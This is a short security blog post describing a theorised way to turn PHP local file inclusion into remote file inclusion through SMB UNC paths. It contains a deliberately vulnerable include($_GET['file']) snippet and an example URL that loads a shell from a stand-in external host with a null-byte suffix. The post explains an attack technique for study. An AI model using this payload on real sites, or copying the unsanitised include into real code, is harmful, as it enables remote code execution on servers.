The reincarnation of the RFI
Hey! Remember the good old days when the web spouted RFI's everywhere?
We miss those days.
So me and Fredrik figured out a new way to reincarnate the old dusty RFI's!
This is an unexpected feature in PHP that allows you to communicate with external servers even though allow_url_include = Off.
We eventually played around with an RFI playground we made and found out SMB is supported.
So what? SMB is only for internal networks?
Not so fast! If an attacker writes a rogue SMB server, just like Jelmer did in the "MySQL Network Exploitation Toolkit", he could remotely load a shell or send back a malicious payload to exploit one of the many vulnerabilities against SAMBA.
This will obviously require a RFI "patch" relying on allow_url_include on the server.
vulnerable.php:
[php]
...
if(isset($_GET['file']))
{
include($_GET['file']);
}
...
[/php]
Example URL:
http://www.vulnerablesite.com/includefile.php?file=\\1.3.3.7\shell.txt%00
And that's how you may turn an LFI into an RFI using SMB.
Note: This is still a theory, no PoC available yet.
Ciao bella!

Sup, I'm Mathias and I was born 1991. It feels like I should really write something here.